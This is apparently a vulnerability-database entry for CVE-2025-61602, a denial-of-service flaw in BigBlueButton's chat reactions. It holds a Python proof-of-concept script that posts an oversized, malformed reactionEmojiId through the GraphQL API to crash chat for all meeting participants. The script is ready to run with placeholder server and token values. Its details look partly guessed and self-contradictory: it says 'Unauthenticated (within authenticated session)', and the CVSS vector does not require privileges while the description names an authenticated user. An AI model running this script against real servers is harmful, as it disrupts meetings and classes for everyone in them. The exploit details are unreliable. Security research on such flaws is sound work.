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CVE-2025-61602 CVSS 7.5 HIGH

CVE-2025-61602

Published: 2025-10-09 21:15:40
Last Modified: 2025-10-20 15:36:04

Description

BigBlueButton is an open-source virtual classroom. A denial-of-service (DoS) vulnerability in versions prior to 3.0.13 allows any authenticated user to crash the chat functionality for all participants in a meeting by sending a malformed `reactionEmojiId` in the GraphQL mutation `chatSendMessageReaction`. Version 3.0.13 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:bigbluebutton:bigbluebutton:*:*:*:*:*:*:*:* - VULNERABLE
BigBlueButton < 3.0.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61602 PoC - BigBlueButton GraphQL DoS via malformed reactionEmojiId # Vulnerability: Unauthenticated (within authenticated session) DoS in chatSendMessageReaction import requests import json # Configuration BBB_SERVER = "https://your-bigbluebutton-server.com" MEETING_ID = "your-meeting-id" AUTH_TOKEN = "your-auth-token" # Valid authenticated session token # GraphQL endpoint (typical BigBlueButton haskell-server endpoint) GRAPHQL_URL = f"{BBB_SERVER}/graphql" def trigger_dos(): """ Send a malformed reactionEmojiId to crash the chat functionality for all participants in the meeting. """ # Malformed payload - the reactionEmojiId contains invalid/oversized data # that triggers an unhandled exception in the server-side parser payload = { "query": """ mutation SendReaction($chatMessageId: String!, $reactionEmojiId: String!) { chatSendMessageReaction( chatMessageId: $chatMessageId, reactionEmojiId: $reactionEmojiId ) { reactionEmojiId chatMessageId } } """, "variables": { "chatMessageId": "valid-chat-message-id", # Malformed reactionEmojiId - triggers the vulnerability "reactionEmojiId": "A" * 10000 + "\x00\xff\xfe" + "{{invalid}}" } } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {AUTH_TOKEN}" } try: response = requests.post( GRAPHQL_URL, headers=headers, data=json.dumps(payload), timeout=10 ) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") except Exception as e: print(f"Request failed (expected if server crashed): {e}") if __name__ == "__main__": trigger_dos()

References

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